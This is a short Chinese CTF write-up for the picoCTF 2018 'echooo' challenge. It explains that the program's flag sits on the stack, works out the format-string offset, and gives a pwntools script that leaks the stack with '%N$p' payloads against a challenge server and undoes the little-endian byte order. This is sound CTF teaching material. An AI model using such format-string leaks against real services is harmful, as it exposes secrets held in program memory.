其他分享
首页 > 其他分享> > picoctf_2018_echooo(小端序的显示)

picoctf_2018_echooo(小端序的显示)

作者:互联网

例行检查我就不放了,将程序放入ida中

 

 逻辑比较简单,就是将flag放入了栈中,然后通过下面printf去显示flag

offset=11+((0x8c-0x4c)/4)

因为栈是小端序储存,高字节在下方,所以需要转换一下

exp如下

from pwn import*
#r=process('./PicoCTF_2018_echooo')
r=remote('node4.buuoj.cn',28181)
offest=11+(0x8c-0x4c)/4
print (offest)
flag=''
for i in range(11):
    payload='%'+str(i+27)+'$p'
    r.sendline(payload)
    r.recvuntil('> 0x')
    num4=int((r.recvuntil('\n')[:-1]),16)
    
    a=(num4&0xff000000)>>24
    b=(num4&0x00ff0000)>>16
    c=(num4&0x0000ff00)>>8
    d=num4&0x000000ff
    flag+=chr(d)+chr(c)+chr(b)+chr(a)
    
print (flag)
r.interactive()

  

标签:num4,11,echooo,0x4c,小端序,chr,flag,picoctf,2018
来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15720082.html